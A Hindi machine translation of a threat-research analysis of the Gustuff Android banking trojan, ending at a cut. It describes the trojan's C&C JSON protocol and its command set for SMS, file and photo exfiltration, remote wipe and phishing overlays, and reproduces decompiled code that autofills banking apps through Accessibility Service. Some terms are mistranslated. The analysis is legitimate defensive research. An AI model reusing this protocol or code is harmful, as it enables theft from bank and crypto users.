🥇एंड्रॉइड ट्रोजन गस्टफ आपके खातों से क्रीम (फिएट और क्रिप्टो) कैसे निकालता है

अभी पिछले दिन ग्रुप-आईबी की सूचना दी मोबाइल एंड्रॉइड ट्रोजन गस्टफ की गतिविधि के बारे में। यह विशेष रूप से अंतरराष्ट्रीय बाजारों में काम करता है, 100 सबसे बड़े विदेशी बैंकों के ग्राहकों, मोबाइल 32 क्रिप्टो वॉलेट के उपयोगकर्ताओं के साथ-साथ बड़े ई-कॉमर्स संसाधनों पर हमला करता है। लेकिन गुस्टफ का डेवलपर बेस्टऑफ़र उपनाम के तहत एक रूसी भाषी साइबर अपराधी है। कुछ समय पहले तक, उन्होंने अपने ट्रोजन की "ज्ञान और अनुभव वाले लोगों के लिए एक गंभीर उत्पाद" के रूप में प्रशंसा की थी।

ग्रुप-आईबी में दुर्भावनापूर्ण कोड विश्लेषण विशेषज्ञ इवान पिसारेव अपने शोध में उन्होंने इस बारे में विस्तार से बात की है कि गुस्टफ कैसे काम करता है और इसके खतरे क्या हैं।

गस्टफ़ किसकी तलाश कर रहा है?

गस्टफ़ पूरी तरह से स्वचालित कार्यों के साथ मैलवेयर की एक नई पीढ़ी से संबंधित है। डेवलपर के अनुसार, ट्रोजन एंडीबॉट मैलवेयर का एक नया और बेहतर संस्करण बन गया है, जो नवंबर 2017 से एंड्रॉइड फोन पर हमला कर रहा है और प्रसिद्ध अंतरराष्ट्रीय बैंकों और भुगतान प्रणालियों के मोबाइल एप्लिकेशन के रूप में फ़िशिंग वेब फॉर्म के माध्यम से पैसे चुरा रहा है। बेस्टऑफर ने बताया कि गस्टफ बॉट की किराये की कीमत $800 प्रति माह थी।

गस्टफ नमूने के विश्लेषण से पता चला कि ट्रोजन संभावित रूप से बैंक ऑफ अमेरिका, बैंक ऑफ स्कॉटलैंड, जेपी मॉर्गन, वेल्स फारगो, कैपिटल वन, टीडी बैंक, पीएनसी बैंक, साथ ही क्रिप्टो वॉलेट जैसे सबसे बड़े बैंकों के मोबाइल एप्लिकेशन का उपयोग करके ग्राहकों को लक्षित कर रहा है। बिटकॉइन वॉलेट, बिटपे, क्रिप्टोपे, कॉइनबेस, आदि।

मूल रूप से एक क्लासिक बैंकिंग ट्रोजन के रूप में निर्मित, वर्तमान संस्करण में गुस्टफ ने हमले के लिए संभावित लक्ष्यों की सूची में काफी विस्तार किया है। बैंकों, फिनटेक कंपनियों और क्रिप्टो सेवाओं के लिए एंड्रॉइड एप्लिकेशन के अलावा, गुस्टफ का लक्ष्य मार्केटप्लेस एप्लिकेशन, ऑनलाइन स्टोर, भुगतान प्रणाली और इंस्टेंट मैसेंजर के उपयोगकर्ताओं पर है। विशेष रूप से, पेपैल, वेस्टर्न यूनियन, ईबे, वॉलमार्ट, स्काइप, व्हाट्सएप, गेट टैक्सी, रिवोल्यूट और अन्य।

प्रवेश बिंदु: सामूहिक संक्रमण के लिए गणना

गुस्टफ को एपीके के लिंक के साथ एसएमएस मेलिंग के माध्यम से एंड्रॉइड स्मार्टफोन में प्रवेश के "क्लासिक" वेक्टर की विशेषता है। जब कोई एंड्रॉइड डिवाइस सर्वर के आदेश पर ट्रोजन से संक्रमित होता है, तो गुस्टफ संक्रमित फोन के संपर्क डेटाबेस या सर्वर डेटाबेस के माध्यम से आगे फैल सकता है। गुस्टफ की कार्यक्षमता बड़े पैमाने पर संक्रमण और उसके ऑपरेटरों के व्यवसाय के अधिकतम पूंजीकरण के लिए डिज़ाइन की गई है - इसमें वैध मोबाइल बैंकिंग अनुप्रयोगों और क्रिप्टो वॉलेट में एक अद्वितीय "ऑटो-फिल" फ़ंक्शन है, जो आपको पैसे की चोरी को तेज करने और बड़े पैमाने पर करने की अनुमति देता है।

ट्रोजन के एक अध्ययन से पता चला है कि विकलांग लोगों के लिए एक सेवा, एक्सेसिबिलिटी सर्विस का उपयोग करके इसमें ऑटोफिल फ़ंक्शन लागू किया गया था। गुस्टफ इस एंड्रॉइड सेवा का उपयोग करके अन्य अनुप्रयोगों के विंडो तत्वों के साथ इंटरैक्शन के खिलाफ सुरक्षा को सफलतापूर्वक बायपास करने वाला पहला ट्रोजन नहीं है। हालाँकि, कार फिलर के साथ संयोजन में एक्सेसिबिलिटी सेवा का उपयोग अभी भी काफी दुर्लभ है।

पीड़ित के फोन पर डाउनलोड करने के बाद, गस्टफ, एक्सेसिबिलिटी सेवा का उपयोग करके, अन्य एप्लिकेशन (बैंकिंग, क्रिप्टोकुरेंसी, साथ ही ऑनलाइन शॉपिंग, मैसेजिंग इत्यादि के लिए एप्लिकेशन) के विंडो तत्वों के साथ बातचीत करने में सक्षम है, जो हमलावरों के लिए आवश्यक कार्य करता है। . उदाहरण के लिए, सर्वर के आदेश पर, एक ट्रोजन बटन दबा सकता है और बैंकिंग अनुप्रयोगों में टेक्स्ट फ़ील्ड के मान बदल सकता है। एक्सेसिबिलिटी सेवा तंत्र का उपयोग ट्रोजन को पिछली पीढ़ी के मोबाइल ट्रोजन का मुकाबला करने के लिए बैंकों द्वारा उपयोग किए जाने वाले सुरक्षा तंत्र को बायपास करने की अनुमति देता है, साथ ही एंड्रॉइड ओएस के नए संस्करणों में Google द्वारा लागू सुरक्षा नीति में बदलाव भी करता है। इस प्रकार, गुस्टफ़ "जानता है" कि Google प्रोटेक्ट सुरक्षा को कैसे अक्षम किया जाए: लेखक के अनुसार, यह फ़ंक्शन 70% मामलों में काम करता है।

गस्टफ वैध मोबाइल एप्लिकेशन के आइकन के साथ नकली PUSH सूचनाएं भी प्रदर्शित कर सकता है। उपयोगकर्ता PUSH अधिसूचना पर क्लिक करता है और सर्वर से डाउनलोड की गई एक फ़िशिंग विंडो देखता है, जहां वह अनुरोधित बैंक कार्ड या क्रिप्टो वॉलेट डेटा दर्ज करता है। एक अन्य गस्टफ परिदृश्य में, जिस एप्लिकेशन की ओर से PUSH अधिसूचना प्रदर्शित की गई थी, वह खोला गया है। इस मामले में, मैलवेयर, एक्सेसिबिलिटी सर्विस के माध्यम से सर्वर से आदेश मिलने पर, धोखाधड़ी वाले लेनदेन के लिए बैंकिंग एप्लिकेशन के फॉर्म फ़ील्ड भर सकता है।

गस्टफ की कार्यक्षमता में सर्वर पर एक संक्रमित डिवाइस के बारे में जानकारी भेजना, एसएमएस संदेशों को पढ़ने/भेजने की क्षमता, यूएसएसडी अनुरोध भेजना, SOCKS5 प्रॉक्सी लॉन्च करना, एक लिंक का अनुसरण करना, फाइलें भेजना (दस्तावेजों, स्क्रीनशॉट, तस्वीरों के फोटो स्कैन सहित) शामिल हैं। सर्वर, डिवाइस को फ़ैक्टरी सेटिंग्स पर रीसेट करें।

मैलवेयर विश्लेषण

दुर्भावनापूर्ण एप्लिकेशन इंस्टॉल करने से पहले, एंड्रॉइड ओएस उपयोगकर्ता को एक विंडो दिखाता है जिसमें गुस्टफ द्वारा अनुरोधित अधिकारों की सूची होती है:

उपयोगकर्ता की सहमति मिलने के बाद ही एप्लिकेशन इंस्टॉल किया जाएगा। एप्लिकेशन लॉन्च करने के बाद, ट्रोजन उपयोगकर्ता को एक विंडो दिखाएगा:

जिसके बाद यह अपना आइकन हटा देगा.

लेखक के अनुसार गस्टफ को एफटीटी के एक पैकर द्वारा पैक किया जाता है। स्टार्टअप के बाद, एप्लिकेशन समय-समय पर कमांड प्राप्त करने के लिए सीएनसी सर्वर से संपर्क करता है। हमारे द्वारा जांच की गई कई फ़ाइलों में नियंत्रण सर्वर के रूप में एक आईपी पते का उपयोग किया गया था 88.99.171 [।] 105 (इसके बाद हम इसे इस रूप में निरूपित करेंगे <%CnC%>).

लॉन्च के बाद, प्रोग्राम सर्वर पर संदेश भेजना शुरू कर देता है http://<%CnC%>/api/v1/get.php.

प्रतिक्रिया निम्नलिखित प्रारूप में JSON होने की उम्मीद है:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

हर बार जब एप्लिकेशन एक्सेस किया जाता है, तो यह संक्रमित डिवाइस के बारे में जानकारी भेजता है। संदेश प्रारूप नीचे दिखाया गया है. यह ध्यान देने योग्य है कि खेत पूर्ण, अतिरिक्त, क्षुधा и अनुमति - वैकल्पिक और केवल सीएनसी से अनुरोध आदेश के मामले में भेजा जाएगा।

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
}

कॉन्फ़िगरेशन डेटा संग्रहीत करना

गस्टफ़ परिचालन संबंधी महत्वपूर्ण जानकारी को एक प्राथमिकता फ़ाइल में संग्रहीत करता है। फ़ाइल नाम, साथ ही इसमें पैरामीटर के नाम, स्ट्रिंग से एमडी5 योग की गणना का परिणाम हैं 15413090667214.6.1<%नाम%>जहां <%नाम%> — प्रारंभिक नाम-मूल्य. नाम निर्माण फ़ंक्शन की पायथन व्याख्या:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input)

निम्नलिखित में हम इसे इस प्रकार निरूपित करेंगे नाम जेनरेटर (इनपुट).
तो पहली फ़ाइल का नाम है: नाम जेनरेटर('API_SERVER_LIST'), इसमें निम्नलिखित नामों वाले मान शामिल हैं:

चर का नाम	मूल्य
नाम जेनरेटर('API_SERVER_LIST')	एक सरणी के रूप में सीएनसी पतों की एक सूची शामिल है।
नाम जेनरेटर('API_SERVER_URL')	सीएनसी पता शामिल है।
नाम जेनरेटर('SMS_UPLOAD')	ध्वज डिफ़ॉल्ट रूप से सेट है. यदि ध्वज सेट है, तो सीएनसी को एसएमएस संदेश भेजता है।
नाम जेनरेटर('SMS_ROOT_NUMBER')	फ़ोन नंबर जिस पर संक्रमित डिवाइस द्वारा प्राप्त एसएमएस संदेश भेजे जाएंगे। डिफ़ॉल्ट शून्य है.
नाम जनरेटर("SMS_ROOT_NUMBER_RESEND")	ध्वज डिफ़ॉल्ट रूप से साफ़ हो जाता है. यदि इंस्टॉल किया गया है, तो जब किसी संक्रमित डिवाइस को एसएमएस प्राप्त होगा, तो उसे रूट नंबर पर भेजा जाएगा।
नाम जेनरेटर('DEFAULT_APP_SMS')	ध्वज डिफ़ॉल्ट रूप से साफ़ हो जाता है. यदि यह फ़्लैग सेट है, तो एप्लिकेशन आने वाले एसएमएस संदेशों को संसाधित करेगा।
नाम जेनरेटर('DEFAULT_ADMIN')	ध्वज डिफ़ॉल्ट रूप से साफ़ हो जाता है. यदि ध्वज सेट है, तो एप्लिकेशन के पास व्यवस्थापक अधिकार हैं।
नाम जेनरेटर('DEFAULT_ACCESSIBILITY')	ध्वज डिफ़ॉल्ट रूप से साफ़ हो जाता है. यदि ध्वज सेट है, तो एक्सेसिबिलिटी सेवा का उपयोग करने वाली एक सेवा चल रही है।
नाम जेनरेटर("APPS_CONFIG")	एक JSON ऑब्जेक्ट जिसमें उन कार्रवाइयों की एक सूची होती है जो किसी विशिष्ट एप्लिकेशन से जुड़े एक्सेसिबिलिटी इवेंट के ट्रिगर होने पर की जानी चाहिए।
नाम जेनरेटर("APPS_INSTALLED")	डिवाइस पर इंस्टॉल किए गए एप्लिकेशन की सूची संग्रहीत करता है।
नाम जेनरेटर("IS_FIST_RUN")	पहली शुरुआत में ध्वज को रीसेट कर दिया जाता है।
नाम जेनरेटर("UNIQUE_ID")	एक अद्वितीय पहचानकर्ता शामिल है. बॉट पहली बार लॉन्च होने पर उत्पन्न होता है।

सर्वर से कमांड प्रोसेसिंग के लिए मॉड्यूल

एप्लिकेशन सीएनसी सर्वर के पते को एन्कोडेड सरणी के रूप में संग्रहीत करता है Base85 पंक्तियाँ. उचित आदेश प्राप्त होने पर सीएनसी सर्वरों की सूची को बदला जा सकता है, ऐसी स्थिति में पते को एक प्राथमिकता फ़ाइल में संग्रहीत किया जाएगा।

अनुरोध के जवाब में, सर्वर एप्लिकेशन को एक कमांड भेजता है। यह ध्यान देने योग्य है कि कमांड और पैरामीटर JSON प्रारूप में प्रस्तुत किए जाते हैं। एप्लिकेशन निम्नलिखित आदेशों को संसाधित कर सकता है:

टीम	विवरण
अग्रेषित प्रारंभ	संक्रमित डिवाइस द्वारा प्राप्त एसएमएस संदेशों को सीएनसी सर्वर पर भेजना प्रारंभ करें।
आगे रुकें	संक्रमित डिवाइस द्वारा प्राप्त एसएमएस संदेशों को सीएनसी सर्वर पर भेजना बंद करें।
यूएसएसडीरन	यूएसएसडी अनुरोध निष्पादित करें. जिस नंबर पर आपको यूएसएसडी अनुरोध करने की आवश्यकता है वह JSON फ़ील्ड "नंबर" में स्थित है।
एसएमएस भेजें	एक एसएमएस संदेश भेजें (यदि आवश्यक हो, तो संदेश को भागों में "विभाजित" किया जाता है)। एक पैरामीटर के रूप में, कमांड एक JSON ऑब्जेक्ट लेता है जिसमें फ़ील्ड "टू" - गंतव्य संख्या और "बॉडी" - संदेश का मुख्य भाग होता है।
SmsAb भेजें	संक्रमित डिवाइस की संपर्क सूची में सभी को एसएमएस संदेश भेजें (यदि आवश्यक हो, तो संदेश को भागों में "विभाजित" किया जाता है)। संदेश भेजने के बीच का अंतराल 10 सेकंड है। संदेश का मुख्य भाग JSON फ़ील्ड "बॉडी" में है
एसएमएसमास भेजें	कमांड पैरामीटर में निर्दिष्ट संपर्कों को एसएमएस संदेश भेजें (यदि आवश्यक हो, तो संदेश को भागों में "विभाजित" किया जाता है)। संदेश भेजने के बीच का अंतराल 10 सेकंड है। एक पैरामीटर के रूप में, कमांड एक JSON सरणी ("एसएमएस" फ़ील्ड) लेता है, जिसके तत्वों में फ़ील्ड "टू" - गंतव्य संख्या और "बॉडी" - संदेश का मुख्य भाग होता है।
परिवर्तन सर्वर	यह कमांड एक पैरामीटर के रूप में कुंजी "यूआरएल" के साथ एक मान ले सकता है - फिर बॉट नेमजेनरेटर ("SERVER_URL"), या "एरे" का मान बदल देगा - फिर बॉट एरे को नेमजेनरेटर ("एपीआई_SERVER_LIST") में लिख देगा। इस प्रकार, एप्लिकेशन CnC सर्वर का पता बदल देता है।
व्यवस्थापक संख्या	कमांड को रूट नंबर के साथ काम करने के लिए डिज़ाइन किया गया है। कमांड निम्नलिखित मापदंडों के साथ एक JSON ऑब्जेक्ट को स्वीकार करता है: "संख्या" - नाम जनरेटर ("ROOT_NUMBER") को प्राप्त मूल्य में बदलें, "पुनः भेजें" - नाम जनरेटर बदलें ("SMS_ROOT_NUMBER_RESEND"), "sendId" - नाम जनरेटर ("ROOT_NUMBER") को भेजें ) अनोखा ID।
जानकारी अपडेट करें	संक्रमित डिवाइस के बारे में जानकारी सर्वर को भेजें।
डेटा मिटा दें	इस आदेश का उद्देश्य उपयोगकर्ता डेटा को हटाना है। एप्लिकेशन किस नाम से लॉन्च किया गया था, उसके आधार पर, डिवाइस रीबूट (प्राथमिक उपयोगकर्ता) के साथ या तो डेटा पूरी तरह से मिटा दिया जाता है, या केवल उपयोगकर्ता डेटा हटा दिया जाता है (द्वितीयक उपयोगकर्ता)।
मोज़ेशुरू	प्रॉक्सी मॉड्यूल लॉन्च करें। मॉड्यूल का संचालन एक अलग अनुभाग में वर्णित है।
मोजेस्टॉप	प्रॉक्सी मॉड्यूल बंद करें.
खुला लिंक	लिंक का पालन करें। लिंक "यूआरएल" कुंजी के अंतर्गत JSON पैरामीटर में स्थित है। लिंक को खोलने के लिए “android.intent.action.VIEW” का उपयोग किया जाता है।
सभी एसएमएस अपलोड करें	डिवाइस द्वारा प्राप्त सभी एसएमएस संदेशों को सर्वर पर भेजें।
सभी फ़ोटो अपलोड करें	किसी संक्रमित डिवाइस से छवियां किसी URL पर भेजें. यूआरएल एक पैरामीटर के रूप में आता है.
फ़ाइल अपलोड करें	किसी संक्रमित डिवाइस से किसी URL पर फ़ाइल भेजें। यूआरएल एक पैरामीटर के रूप में आता है.
फ़ोन नंबर अपलोड करें	अपनी संपर्क सूची से फ़ोन नंबर सर्वर पर भेजें। यदि कुंजी "एबी" के साथ एक JSON ऑब्जेक्ट मान एक पैरामीटर के रूप में प्राप्त होता है, तो एप्लिकेशन को फोन बुक से संपर्कों की एक सूची प्राप्त होती है। यदि कुंजी "एसएमएस" के साथ एक JSON ऑब्जेक्ट एक पैरामीटर के रूप में प्राप्त होता है, तो एप्लिकेशन एसएमएस संदेशों के प्रेषकों से संपर्कों की सूची पढ़ता है।
परिवर्तनसंग्रह	एप्लिकेशन "यूआरएल" कुंजी का उपयोग करके पैरामीटर के रूप में आने वाले पते से फ़ाइल डाउनलोड करता है। डाउनलोड की गई फ़ाइल “archive.zip” नाम से सहेजी गई है। फिर एप्लिकेशन वैकल्पिक रूप से संग्रह पासवर्ड "b5jXh37gxgHBrZhQ4j3D" का उपयोग करके फ़ाइल को अनज़िप करेगा। अनज़िप की गई फ़ाइलें [बाह्य संग्रहण]/एचजीपीएस निर्देशिका में सहेजी जाती हैं। इस निर्देशिका में, एप्लिकेशन वेब नकली (नीचे वर्णित) संग्रहीत करता है।
कार्रवाई	कमांड को एक्शन सर्विस के साथ काम करने के लिए डिज़ाइन किया गया है, जिसका वर्णन एक अलग अनुभाग में किया गया है।
परीक्षण	कुछ नहीं कर रहे।
डाउनलोड	कमांड का उद्देश्य किसी दूरस्थ सर्वर से एक फ़ाइल डाउनलोड करना और उसे "डाउनलोड" निर्देशिका में सहेजना है। URL और फ़ाइल नाम एक पैरामीटर के रूप में आते हैं, JSON पैरामीटर ऑब्जेक्ट में फ़ील्ड क्रमशः: "url" और "फ़ाइल नाम"।
हटाना	"डाउनलोड" निर्देशिका से एक फ़ाइल को हटाता है। फ़ाइल नाम "फ़ाइल नाम" कुंजी के साथ JSON पैरामीटर में आता है। मानक फ़ाइल नाम "tmp.apk" है।
अधिसूचना	प्रबंधन सर्वर द्वारा परिभाषित विवरण और शीर्षक पाठ के साथ एक अधिसूचना दिखाएं।

आदेश प्रारूप अधिसूचना:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

जांच के तहत फ़ाइल द्वारा उत्पन्न अधिसूचना फ़ील्ड में निर्दिष्ट एप्लिकेशन द्वारा उत्पन्न अधिसूचनाओं के समान दिखती है अनुप्रयोग. यदि फ़ील्ड मान ऐप खोलो — सच है, जब कोई अधिसूचना खोली जाती है, तो फ़ील्ड में निर्दिष्ट एप्लिकेशन लॉन्च हो जाता है अनुप्रयोग. यदि फ़ील्ड मान ऐप खोलो - गलत, तो:

एक फ़िशिंग विंडो खुलती है, जिसकी सामग्री निर्देशिका से डाउनलोड की जाती है <%बाहरी भंडारण%>/hgps/<%फ़ाइलनाम%>
एक फ़िशिंग विंडो खुलती है, जिसकी सामग्री सर्वर से डाउनलोड की जाती है <%url%>?id=<%Bot id%>&app=<%आवेदन नाम%>
कार्ड विवरण दर्ज करने के अवसर के साथ, Google Play कार्ड के रूप में एक फ़िशिंग विंडो खुलती है।

एप्लिकेशन किसी भी कमांड का परिणाम भेजता है <%CnC%>set_state.php निम्नलिखित प्रारूप में JSON ऑब्जेक्ट के रूप में:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

क्रियाएँसेवा
एप्लिकेशन प्रक्रियाओं में शामिल आदेशों की सूची कार्य. जब कोई कमांड प्राप्त होता है, तो कमांड प्रोसेसिंग मॉड्यूल विस्तारित कमांड को निष्पादित करने के लिए इस सेवा तक पहुंचता है। सेवा JSON ऑब्जेक्ट को पैरामीटर के रूप में स्वीकार करती है। सेवा निम्नलिखित आदेश निष्पादित कर सकती है:

1. PARAMS_ACTION - ऐसा आदेश प्राप्त करते समय, सेवा पहले JSON पैरामीटर से टाइप कुंजी का मान प्राप्त करती है, जो इस प्रकार हो सकती है:

सेवा जानकारी - उपकमांड को JSON पैरामीटर से कुंजी द्वारा मान प्राप्त होता है महत्वपूर्ण नहीं शामिल करें. यदि ध्वज सत्य है, तो एप्लिकेशन ध्वज सेट करता है FLAG_ISOLATED_PROCESS एक्सेसिबिलिटी सेवा का उपयोग करके किसी सेवा के लिए। इस तरह सेवा को एक अलग प्रक्रिया में लॉन्च किया जाएगा।
जड़ - उस विंडो के बारे में सर्वर जानकारी प्राप्त करें और भेजें जो वर्तमान में फोकस में है। एप्लिकेशन AccessibilityNodeInfo क्लास का उपयोग करके जानकारी प्राप्त करता है।
व्यवस्थापक - व्यवस्थापक अधिकारों का अनुरोध करें।
देरी - "डेटा" कुंजी के पैरामीटर में निर्दिष्ट मिलीसेकंड की संख्या के लिए ActionsService को निलंबित करें।
खिड़कियां - उपयोगकर्ता को दिखाई देने वाली विंडोज़ की एक सूची भेजें।
स्थापित - संक्रमित डिवाइस पर एप्लिकेशन इंस्टॉल करें। संग्रह पैकेज का नाम "फ़ाइलनाम" कुंजी में है। संग्रह स्वयं डाउनलोड निर्देशिका में स्थित है।
वैश्विक - उपकमांड का उद्देश्य वर्तमान विंडो से नेविगेट करना है:
- त्वरित सेटिंग्स मेनू पर
- पूर्व
- घर
- सूचनाओं के लिए
- हाल ही में खोली गई एप्लिकेशन विंडो पर
लांच - एप्लिकेशन लॉन्च करें। एप्लिकेशन का नाम कुंजी द्वारा एक पैरामीटर के रूप में आता है तिथि.
लगता है - ध्वनि मोड को मौन में बदलें।
अनलॉक — स्क्रीन और कीबोर्ड की बैकलाइट को पूरी चमक पर चालू कर देता है। एप्लिकेशन WakeLock का उपयोग करके यह क्रिया करता है, स्ट्रिंग [एप्लिकेशन लेबल]:INFO को एक टैग के रूप में निर्दिष्ट करता है
अनुमतिओवरले - फ़ंक्शन लागू नहीं किया गया है (कमांड निष्पादन की प्रतिक्रिया {"message":"Not support"} या {"message":"low sdk"} है)
इशारा - फ़ंक्शन लागू नहीं किया गया है (कमांड निष्पादन की प्रतिक्रिया {"संदेश":"समर्थन नहीं"}या {"संदेश":"कम एपीआई"} है)
अनुमतियाँ - एप्लिकेशन के लिए अनुमतियों का अनुरोध करने के लिए यह आदेश आवश्यक है। हालाँकि, क्वेरी फ़ंक्शन लागू नहीं किया गया है, इसलिए कमांड अर्थहीन है। अनुरोधित अधिकारों की सूची "अनुमतियाँ" कुंजी के साथ JSON सरणी के रूप में आती है। मानक सूची:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
खुला - एक फ़िशिंग विंडो प्रदर्शित करें। सर्वर से आने वाले पैरामीटर के आधार पर, एप्लिकेशन निम्नलिखित फ़िशिंग विंडो प्रदर्शित कर सकता है:
- एक फ़िशिंग विंडो दिखाएँ जिसकी सामग्री किसी निर्देशिका में किसी फ़ाइल में लिखी गई है <%बाहरी निर्देशिका%>/hgps/<%param_filename%>. विंडो के साथ उपयोगकर्ता के इंटरेक्शन का परिणाम भेजा जाएगा <%CnC%>/records.php
- एक फ़िशिंग विंडो दिखाएँ जिसकी सामग्री पते से पहले से लोड की गई है <%url_param%>?id=<%bot_id%>&app=<%packagename%>. विंडो के साथ उपयोगकर्ता के इंटरेक्शन का परिणाम भेजा जाएगा <%CnC%>/records.php
- Google Play कार्ड के रूप में छिपी हुई एक फ़िशिंग विंडो दिखाएँ।
इंटरैक्टिव - कमांड को एक्सेसिबिलिटी सर्विस का उपयोग करके अन्य एप्लिकेशन के विंडो तत्वों के साथ इंटरैक्ट करने के लिए डिज़ाइन किया गया है। कार्यक्रम में बातचीत के लिए एक विशेष सेवा लागू की गई है। जांच के तहत एप्लिकेशन विंडोज़ के साथ इंटरैक्ट कर सकता है:
- वर्तमान में सक्रिय. इस मामले में, पैरामीटर में उस ऑब्जेक्ट की आईडी या टेक्स्ट (नाम) होता है जिसके साथ आपको इंटरैक्ट करने की आवश्यकता होती है।
- कमांड निष्पादित होने के समय उपयोगकर्ता के लिए दृश्यमान। एप्लिकेशन आईडी के आधार पर विंडोज़ का चयन करता है।
वस्तुएँ प्राप्त करना एक्सेसिबिलिटीनोडेइन्फो रुचि के विंडो तत्वों के लिए, एप्लिकेशन, मापदंडों के आधार पर, निम्नलिखित क्रियाएं कर सकता है:
- फोकस - ऑब्जेक्ट पर फोकस सेट करें।
- क्लिक करें - किसी वस्तु पर क्लिक करें।
- ActionId - आईडी के आधार पर कोई कार्रवाई करें।
- setText - किसी ऑब्जेक्ट का टेक्स्ट बदलें। पाठ को बदलना दो तरीकों से संभव है: एक क्रिया करना ACTION_SET_TEXT (यदि संक्रमित डिवाइस का एंड्रॉइड संस्करण इससे छोटा या उसके बराबर है चूसने की मिठाई), या क्लिपबोर्ड पर एक स्ट्रिंग रखकर और उसे किसी ऑब्जेक्ट में चिपकाकर (पुराने संस्करणों के लिए)। इस कमांड का उपयोग बैंकिंग एप्लिकेशन में डेटा बदलने के लिए किया जा सकता है।

2. PARAMS_ACTIONS - के समान PARAMS_ACTION, केवल आदेशों की JSON सारणी आती है।

ऐसा लगता है कि कई लोगों की रुचि इस बात में होगी कि किसी अन्य एप्लिकेशन के विंडो तत्वों के साथ इंटरैक्ट करने का कार्य कैसा दिखता है। गस्टफ में यह कार्यक्षमता इस प्रकार कार्यान्वित की जाती है:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

पाठ प्रतिस्थापन फ़ंक्शन:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

इस प्रकार, नियंत्रण सर्वर के सही कॉन्फ़िगरेशन के साथ, गुस्टफ बैंकिंग एप्लिकेशन में टेक्स्ट फ़ील्ड भरने और लेनदेन को पूरा करने के लिए आवश्यक बटन पर क्लिक करने में सक्षम है। ट्रोजन को एप्लिकेशन में लॉग इन करने की भी आवश्यकता नहीं है - यह एक PUSH अधिसूचना प्रदर्शित करने के लिए एक कमांड भेजने और फिर पहले से इंस्टॉल किए गए बैंकिंग एप्लिकेशन को खोलने के लिए पर्याप्त है। यूजर खुद को प्रमाणित करेगा, जिसके बाद गस्टफ कार में गैस भर सकेगा।

एसएमएस संदेश प्रोसेसिंग मॉड्यूल

